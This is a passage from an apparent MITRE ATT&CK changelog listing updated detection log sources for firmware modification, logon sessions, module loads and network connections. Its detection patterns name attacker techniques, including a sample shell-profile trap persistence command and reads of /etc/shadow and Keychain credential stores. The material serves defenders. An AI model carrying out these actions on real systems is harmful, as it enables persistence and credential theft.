'channel': 'open, write: Modification of /boot/grub/* or /boot/efi/*'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /System/Library/CoreServices/boot.efi'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of LaunchAgents or LaunchDaemons plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod'}, {'name': 'auditd:SYSCALL', 'channel': 'rename,chmod'}, {'name': 'fs:fsevents', 'channel': 'create/write/rename under user-writable paths'}, {'name': 'macos:osquery', 'channel': 'Changes to LSFileQuarantineEnabled field in Info.plist'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/tabs/ and cron output files'}, {'name': 'esxi:hostd', 'channel': 'modification of crontab or local.sh entries'}, {'name': 'networkdevice:config', 'channel': 'Configuration file modified or replaced on network device'}, {'name': 'macos:unifiedlog', 'channel': 'Plist modifications containing virtualization run configurations'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/at and job execution path'}, {'name': 'macos:unifiedlog', 'channel': 'binary modified or replaced'}, {'name': 'esxi:hostd', 'channel': 'binary or module replacement event'}, {'name': 'networkdevice:config', 'channel': 'Configuration change events referencing encryption, TLS/SSL, or IPSec settings'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware update or image modification affecting crypto modules'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags'}, {'name': 'auditd:FILE', 'channel': 'Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Preferences/com.apple.loginwindow plist'}, {'name': 'auditd:SYSCALL', 'channel': 'Modification of user shell profile or trap registration via echo/redirection (e.g., echo "trap \'malicious_cmd\' INT" >> ~/.bashrc)'}, {'name': 'macos:unifiedlog', 'channel': 'File write or append to .zshrc, .bash_profile, .zprofile, etc.'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, write, create, open'}, {'name': 'fs:fsevents', 'channel': 'Extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File writes to application binaries or libraries at runtime'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Mismatch in file integrity of critical macOS applications'}, {'name': 'auditd:SYSCALL', 'channel': 'file write operations in /Library/WebServer/Documents'}, {'name': 'fs:launchdaemons', 'channel': 'file_modify'}, {'name': 'auditd:PATH', 'channel': 'write: File modifications to /etc/systemd/sleep.conf or related power configuration files'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modification to com.apple.PowerManagement.plist or related system preference files'}, {'name': 'fs:fsusage', 'channel': 'modification of existing LaunchAgents plist'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib in monitored directories'}, {'name': 'WinEventLog:Application', 'channel': '81,3033'}, {'name': 'auditd:SYSCALL', 'channel': 'write operation on /etc/passwd or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'modification to /var/db/dslocal/nodes/Default/users/'}, {'name': 'linux:osquery', 'channel': 'New or modified kernel object files (.ko) within /lib/modules directory'}, {'name': 'macos:osquery', 'channel': 'Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table'}, {'name': 'networkdevice:audit', 'channel': 'SNMP configuration changes, such as enabling read/write access or modifying community strings'}, {'name': 'macos:osquery', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'mount or losetup commands creating hidden or encrypted FS'}, {'name': 'macos:unifiedlog', 'channel': 'Hidden volume attachment or modification events'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious plist edits for volume mounting behavior'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to startup image paths, boot loader parameters, or debug flags'}, {'name': 'networkdevice:syslog', 'channel': 'Checksum/hash mismatch between device OS image and baseline known-good version'}, {'name': 'macos:unifiedlog', 'channel': 'file writes'}, {'name': 'm365:defender', 'channel': 'OfficeTelemetry or DLP'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Access Logging'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration'}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules'}, {'name': 'm365:office', 'channel': 'Anomalous editing of invoice or payment document templates'}, {'name': 'fs:fsusage', 'channel': 'truncate, unlink, write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db'}, {'name': 'linux:fim', 'channel': 'Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)'}, {'name': 'macos:endpointsecurity', 'channel': 'write, rename'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /proc/*/mem or /proc/*/maps'}, {'name': 'sysdig:file', 'channel': 'evt.type=write'}, {'name': 'macos:unifiedlog', 'channel': 'rule definitions written to emond rule plists'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing older image versions or unexpected boot parameters'}, {'name': 'FileIntegrity:ImageValidation', 'channel': 'Hash/checksum mismatch against baseline vendor-provided OS image versions'}, {'name': 'auditd:SYSCALL', 'channel': 'write or rename to /etc/systemd/system or /etc/init.d'}, {'name': 'fs:fsusage', 'channel': 'file write to launchd plist paths'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of entrypoint scripts or init containers'}, {'name': 'fs:plist_monitoring', 'channel': '/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod/chown to /etc/passwd or /etc/shadow'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting web directory files'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal/Editor processes modifying web folder'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:11.410000+00:002025-10-21 15:14:35.239000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0004] Firmware Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0004', 'external_id': 'DC0004'}]
x_mitre_log_sources[{'name': 'Firmware', 'channel': 'None'}, {'name': 'networkdevice:syslog', 'channel': 'Image Upgrade / Configuration Change'}, {'name': 'networkdevice:config', 'channel': 'Boot image path or firmware configuration variable modified outside of maintenance windows'}, {'name': 'WinEventLog:Microsoft-Windows-Kernel-Boot', 'channel': 'Firmware integrity validation failed or boot configuration tampered'}, {'name': 'auditd:SYSCALL', 'channel': 'write access to /dev/mem or /sys/firmware/efi/efivars'}, {'name': 'macos:unifiedlog', 'channel': 'boot failure events or SMC validation errors'}, {'name': 'networkdevice:firmware', 'channel': 'Firmware update initiated or bootloader tampering detected'}, {'name': 'networkdevice:config', 'channel': 'Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)'}, {'name': 'networkdevice:config', 'channel': 'Boot variable modified to point to non-standard or unsigned image'}, {'name': 'firmware:integrity ', 'channel': 'Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl/write: Direct firmware update or device memory manipulation syscalls'}, {'name': 'firmware:smart', 'channel': 'Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries'}, {'name': 'macos:unifiedlog', 'channel': 'Firmware update events or kernel extension (kext) loads not signed by Apple'}, {'name': 'firmware:integrity', 'channel': 'Baseline mismatch or unexpected EFI module detected during integrity checks'}, {'name': 'macos:osquery', 'channel': 'Unexpected changes in EFI or NVRAM variables controlling hardware boot state'}, {'name': 'networkdevice:syslog', 'channel': 'Custom firmware or routing changes'}, {'name': 'etw:Microsoft-Windows-Kernel-Storage', 'channel': 'Raw disk I/O operations bypassing NTFS APIs'}, {'name': 'firmware:runtime', 'channel': 'Debug or memory access commands indicating attempts to alter OS instructions in memory'}, {'name': 'networkdevice:syslog', 'channel': 'Boot information log showing image loaded from TFTP server instead of local storage'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:52.606000+00:002025-10-21 15:14:38.020000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0067] Logon Session Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0067', 'external_id': 'DC0067'}]
x_mitre_log_sources[{'name': 'Logon Session', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'UserLoggedIn'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin, AssumeRole, ListResources'}, {'name': 'azure:signin', 'channel': 'UserLoginSuccess, TokenIssued'}, {'name': 'Okta:SystemLog', 'channel': 'user.authentication.sso, app.oauth.grant'}, {'name': 'm365:signin', 'channel': 'SignInSuccess, RoleAssignmentRead'}, {'name': 'm365:unified', 'channel': 'UserLoggedIn'}, {'name': 'gcp:audit', 'channel': 'LoginAudit, DriveAudit'}, {'name': 'saas:auth', 'channel': 'LoginSuccess, APIKeyUse, AdminAction'}, {'name': 'azure:signinlogs', 'channel': 'Abnormal sign-in from scripting tools (PowerShell, AADInternals)'}, {'name': 'azure:signinlogs', 'channel': 'Suspicious login to cloud mailbox system'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624'}, {'name': 'azure:signinlogs', 'channel': 'Failed MFA attempts, unusual conditional access triggers, login attempts from unexpected IP ranges'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4648'}, {'name': 'NSM:Connections', 'channel': 'Mismatch between recorded user logon and active sessions (e.g., wtmp/utmp entries without corresponding authentication in auth.log)'}, {'name': 'macos:unifiedlog', 'channel': 'Authentication inconsistencies where commands are executed without corresponding login events'}, {'name': 'CloudTrail:Signin', 'channel': 'SAML login without corresponding IdP authentication log'}, {'name': 'm365:sharepoint', 'channel': 'File access with forged or anomalous SAML claims'}, {'name': 'AWS:CloudTrail', 'channel': 'Web console logins using session cookies without corresponding MFA event'}, {'name': 'saas:access', 'channel': 'Multiple concurrent logins using same cookie from different locations'}, {'name': 'AWS:CloudTrail', 'channel': 'ConsoleLogin: If IdP backed by cloud provider, Console login from new IP/agent after correlated endpoint compromise'}, {'name': 'macos:unifiedlog', 'channel': 'authentication'}, {'name': 'AWS:CloudTrail', 'channel': 'SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect'}, {'name': 'azure:signin', 'channel': 'Microsoft.Compute/virtualMachines/serialConsole/connect/action'}, {'name': 'gcp:audit', 'channel': 'cloud.ssh.publicKey.inserted, compute.instances.osLogin'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 with LogonType=9 or smartcard logon'}, {'name': 'NSM:Connections', 'channel': 'Missing new login event but session activity continues'}, {'name': 'macos:unifiedlog', 'channel': 'Session reuse without new auth event'}, {'name': 'AWS:CloudTrail', 'channel': 'Temporary security credentials used to authenticate into management console or APIs'}, {'name': 'macos:unifiedlog', 'channel': 'Access to Keychain items or browser credential stores'}, {'name': 'm365:signin', 'channel': 'Token usage events with device/user mismatch'}, {'name': 'saas:github', 'channel': 'Login from unusual IP, device fingerprint, or location; access token creation from new client'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10 or 3), EventCode=4648'}, {'name': 'linux:syslog', 'channel': 'sshd: Accepted password/publickey'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage CONTAINS 'screensharingd' or 'AuthorizationRefCreate'"}, {'name': 'AWS:CloudTrail', 'channel': 'AWS ConsoleLogin, StartSession'}, {'name': 'esxi:vmkernel', 'channel': 'vim.fault.*, DCUI login, SSH shell'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=3)'}, {'name': 'AWS:CloudTrail', 'channel': 'GetConsoleOutput'}, {'name': 'saas:okta', 'channel': 'user.session.start'}, {'name': 'm365:unified', 'channel': 'ViewAdminReport'}, {'name': 'saas:zoom', 'channel': 'Zoom Admin Dashboard accessed from unfamiliar IP/device'}, {'name': 'WinEventLog:Security', 'channel': 'Anomalous logon without MFA enforcement'}, {'name': 'networkdevice:Firewall', 'channel': 'Login from untrusted IP, or new admin account accessing firewall console/API'}, {'name': 'linux:syslog', 'channel': 'authentication success after file access'}, {'name': 'macos:unifiedlog', 'channel': 'Keychain or user login post-access'}, {'name': 'AWS:CloudTrail', 'channel': 'sudden role assumption after credential file access'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624 (LogonType=10), EventCode=4648'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4648'}, {'name': 'NSM:Connections', 'channel': 'Accepted publickey for user from unusual IP or without tty'}, {'name': 'saas:confluence', 'channel': 'logon'}, {'name': 'linux:syslog', 'channel': 'auth.log / secure.log'}, {'name': 'esxi:auth', 'channel': 'Shell login or escalation'}, {'name': 'linux:auth', 'channel': 'User login event followed by unexpected process tree'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUserLogin: Discovery behavior linked to privileged logins from atypical IP ranges'}, {'name': 'm365:signinlogs', 'channel': 'UserLogin: Discovery operations shortly after account logins from new geolocations'}, {'name': 'saas:auth', 'channel': 'Login, TokenGranted: Discovery actions tied to anomalous login sessions or tokens'}, {'name': 'WinEventLog:Security', 'channel': '4624'}, {'name': 'NSM:Connections', 'channel': 'simultaneous or anomalous logon sessions across multiple systems'}, {'name': 'macos:unifiedlog', 'channel': 'authentication plugin load or modification events'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648, 4672'}, {'name': 'azure:ad', 'channel': 'SignInEvents'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4648,4672,4769'}, {'name': 'linux:syslog', 'channel': 'Accepted publickey/password for * from * port * ssh2'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd successful login events'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, ServicePrincipalSignIn'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole,AssumeRoleWithSAML,AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'InteractiveUser, NonInteractiveUser'}, {'name': 'azure:signinlogs', 'channel': 'UserLogin, ConditionalAccessPolicyEvaluated'}, {'name': 'saas:okta', 'channel': 'session.token.reuse'}, {'name': 'auditd:SYSCALL', 'channel': 'capset or setns'}, {'name': 'gcp:audit', 'channel': 'admin.googleapis.com'}, {'name': 'm365:signinlogs', 'channel': 'UserLoggedIn'}, {'name': 'WinEventLog:Security', 'channel': 'EventID=4624'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634'}, {'name': 'linux:syslog', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:26.544000+00:002025-10-21 15:14:35.022000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0088] Logon Session Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0088', 'external_id': 'DC0088'}]
x_mitre_log_sources[{'name': 'Logon Session', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4672'}, {'name': 'macos:unifiedlog', 'channel': 'LoginWindow context with associated PID linked to reopened plist paths'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4768, 4769'}, {'name': 'azure:signinLogs', 'channel': 'SAML-based login with anomalous issuer or NotOnOrAfter lifetime'}, {'name': 'm365:unified', 'channel': 'Abnormal user claims or unexpected elevated role assignment in SAML assertion'}, {'name': 'macos:unifiedlog', 'channel': 'authd generating multiple MFA token requests'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4625, 4768, 4769'}, {'name': 'linux:syslog', 'channel': 'sssd / sudo logs'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4634, 4672, 4769'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4778, EventCode=4779'}, {'name': 'auditd:SYSCALL', 'channel': 'ssh logins or execve of remote commands'}, {'name': 'macos:unifiedlog', 'channel': 'Remote login (ssh) or screen sharing authentication attempts'}, {'name': 'kubernetes:audit', 'channel': 'Unauthorized container creation or kubelet exec logs'}, {'name': 'auditd:USER_LOGIN', 'channel': 'USER_LOGIN'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4800, 4801'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4776,4771,4770'}, {'name': 'auditd:SYSCALL', 'channel': 'execve,socket,connect,openat'}, {'name': 'macos:unifiedlog', 'channel': 'Group membership change for admin or wheel'}, {'name': 'azure:audit', 'channel': 'Add delegated admin / Assign admin roles / Update application consent'}, {'name': 'saas:okta', 'channel': 'user.session.start, app.oauth2.as.authorize, policy.mfa.bypass'}, {'name': 'gcp:audit', 'channel': 'google.iam.credentials.generateAccessToken / serviceAccountTokenCreator'}, {'name': 'saas:salesforce', 'channel': 'ConnectedApp OAuth policy change / Login as user'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624,4672'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4624, 4672, 4634, 4768, 4769'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime'}, {'name': 'saas:okta', 'channel': 'user.authentication.sso'}, {'name': 'm365:unified', 'channel': 'FileAccessed, SharingSet'}, {'name': 'm365:signin', 'channel': 'UserLogin'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow, sshd'}, {'name': 'NSM:Connections', 'channel': 'Successful sudo or ssh from unknown IPs'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or sshd events with external IP'}, {'name': 'macos:unifiedlog', 'channel': "process = 'sshd'"}, {'name': 'esxi:auth', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:39:59.118000+00:002025-10-21 15:14:36.246000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0016] Module Load

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0016', 'external_id': 'DC0016'}]
x_mitre_log_sources[{'name': 'Module', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=7'}, {'name': 'ETW:LoadImage', 'channel': 'provider: ETW LoadImage events for images from user-writable/UNC paths'}, {'name': 'auditd:SYSCALL', 'channel': 'openat/read/mmap: Open/mmap .so files from non-standard paths'}, {'name': 'linux:osquery', 'channel': "select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'"}, {'name': 'macos:unifiedlog', 'channel': 'dyld/unified log entries indicating image load from non-system paths'}, {'name': 'macos:osquery', 'channel': "select: path LIKE '%/Library/%/*.dylib' OR '/tmp/*.dylib'"}, {'name': 'macos:unifiedlog', 'channel': 'dynamic loading of sleep-related functions or sandbox detection libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'LD_PRELOAD Logging'}, {'name': 'linux:osquery', 'channel': 'Dynamic Linking State'}, {'name': 'macos:unifiedlog', 'channel': 'DYLD event subsystem'}, {'name': 'linux:osquery', 'channel': 'Process linked with libcrypto.so making external connections'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events with dylib load activity'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=7'}, {'name': 'WinEventLog:Application', 'channel': 'CLR Assembly creation, loading, or modification logs via MSSQL CLR integration'}, {'name': 'macos:unifiedlog', 'channel': 'Process memory maps new dylib (dylib_load event)'}, {'name': 'macos:unifiedlog', 'channel': 'Dylib loaded from abnormal location'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3033'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=3063'}, {'name': 'auditd:MMAP', 'channel': 'load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'Loading of libz.dylib, libarchive.dylib by non-standard applications'}, {'name': 'macos:unifiedlog', 'channel': 'suspicious dlopen/dlsym usage in non-development processes'}, {'name': 'm365:unified', 'channel': 'Non-standard Office startup component detected (e.g., unexpected DLL path)'}, {'name': 'auditd:SYSCALL', 'channel': 'mmap'}, {'name': 'esxi:vmkernel', 'channel': 'unexpected module load'}, {'name': 'snmp:status', 'channel': 'Status change in cryptographic hardware modules (enabled -> disabled)'}, {'name': 'esxi:vmkernel', 'channel': 'module load'}, {'name': 'macos:unifiedlog', 'channel': 'delay/sleep library usage in user context'}, {'name': 'linux:syslog', 'channel': 'kmod'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.kextd'}, {'name': 'macos:unifiedlog', 'channel': 'loading of unexpected dylibs compared to historical baselines'}, {'name': 'auditd:file-events', 'channel': 'open of suspicious .so from non-standard paths'}, {'name': 'macos:syslog', 'channel': 'DYLD_INSERT_LIBRARIES anomalies'}, {'name': 'auditd:SYSCALL', 'channel': 'dmesg'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_KEXTLOAD'}, {'name': 'auditd:SYSCALL', 'channel': 'module load or memory map path'}, {'name': 'macos:unifiedlog', 'channel': 'launch and dylib load'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl/libcrypto performing network activity'}, {'name': 'etw:Microsoft-Windows-Kernel-ImageLoad', 'channel': 'provider: Unsigned/user-writable image loads into msbuild.exe'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:16.486000+00:002025-10-21 15:14:35.471000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0082] Network Connection Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0082', 'external_id': 'DC0082'}]
x_mitre_log_sources[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connection to 169.254.169.254 from EC2 workload'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:unifiedlog', 'channel': 'connection attempts'}, {'name': 'esxi:hostd', 'channel': 'System service interactions'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3, 22'}, {'name': 'NSM:Connections', 'channel': 'web domain alerts'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=22'}, {'name': 'auditd:SYSCALL', 'channel': 'connect'}, {'name': 'auditd:SYSCALL', 'channel': 'netconnect'}, {'name': 'macos:osquery', 'channel': 'process_events/socket_events'}, {'name': 'NSM:Firewall', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'connection open'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline'}, {'name': 'NSM:Flow', 'channel': 'New TCP/443 or TCP/80 to domain not previously seen for the user/host'}, {'name': 'NSM:Connections', 'channel': 'New outbound connection from Safari/Chrome/Firefox/Word'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect'}, {'name': 'macos:osquery', 'channel': 'execution of trusted tools interacting with external endpoints'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=22'}, {'name': 'WinEventLog:Microsoft-Windows-Bits-Client/Operational', 'channel': 'BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields'}, {'name': 'NSM:Firewall', 'channel': 'proxy or TLS inspection logs'}, {'name': 'macos:unifiedlog', 'channel': 'network connection events'}, {'name': 'esxi:vmkernel', 'channel': 'protocol egress'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms'}, {'name': 'NSM:Flow', 'channel': 'Connections to *.devtunnels.ms or tunnels.api.visualstudio.com'}, {'name': 'NSM:Flow', 'channel': 'HTTPs connection to tunnels.api.visualstudio.com'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156,5157'}, {'name': 'linux:osquery', 'channel': 'family=AF_PACKET or protocol raw; process name not in allowlist.'}, {'name': 'macos:unifiedlog', 'channel': 'First outbound connection from the same PID/user shortly after an inbound trigger.'}, {'name': 'NSM:Flow', 'channel': 'Outbound or inbound TFTP file transfers of ROMMON or firmware binaries'}, {'name': 'NSM:Connections', 'channel': 'Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports'}, {'name': 'NSM:Flow', 'channel': 'connection: TCP connections to ports 139/445 to multiple hosts'}, {'name': 'NSM:Flow', 'channel': 'connection: SMB connections to multiple internal hosts'}, {'name': 'auditd:SYSCALL', 'channel': 'connect/sendto'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CONNECT'}, {'name': 'snmp:access', 'channel': 'GETBULK/GETNEXT requests for OIDs associated with configuration parameters'}, {'name': 'esxi:hostd', 'channel': 'Service initiated connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large transfer volume (>20MB) from RDS IP range to external public IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High outbound traffic from new region resource'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S initiated by newly installed interpreter process'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK'}, {'name': 'NSM:Flow', 'channel': 'outbound connections to RMM services or to unusual destination ports'}, {'name': 'macos:unifiedlog', 'channel': 'network sessions initiated by remote desktop apps'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connections to port 22, 3389'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect with TLS context by unexpected process'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: New bind() to a previously closed port shortly after the sequence.'}, {'name': 'NSM:Flow', 'channel': 'Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic spike through formerly blocked ports/subnets following config change'}, {'name': 'cni:netflow', 'channel': 'outbound connection to internal or external APIs'}, {'name': 'macos:osquery', 'channel': 'launchd or network_events'}, {'name': 'networkdevice:syslog', 'channel': 'Dynamic route changes'}, {'name': 'NSM:Flow', 'channel': 'New egress to Internet by the same UID/host shortly after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'connection: Inbound connections to SSH or VPN ports'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound connections to VNC/SSH ports'}, {'name': 'NSM:Flow', 'channel': 'External access to container ports (2375, 6443)'}, {'name': 'linux:syslog', 'channel': 'network'}, {'name': 'macos:osquery', 'channel': 'process_events + launchd'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log or /var/log/vmksummary.log'}, {'name': 'ebpf:syscalls', 'channel': 'socket connect'}, {'name': 'NSM:Flow', 'channel': 'remote access'}, {'name': 'NSM:Flow', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'network'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic observed on mirror destination instance'}, {'name': 'networkdevice:Flow', 'channel': 'Traffic from mirrored interface to mirror target IP'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:osquery', 'channel': 'process_events, socket_events'}, {'name': 'esxi:vmkernel', 'channel': 'network activity'}, {'name': 'NSM:Flow', 'channel': 'connection attempts'}, {'name': 'NSM:Flow', 'channel': 'High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs'}, {'name': 'auditd:SYSCALL', 'channel': 'sendto/connect'}, {'name': 'NSM:Flow', 'channel': 'outbound connections from host during or immediately after image build'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound Traffic'}, {'name': 'esxi:hostd', 'channel': 'Service-Based Network Connection'}, {'name': 'linux:syslog', 'channel': 'postfix/smtpd'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from browser/office lineage'}, {'name': 'NSM:Flow', 'channel': 'new outbound 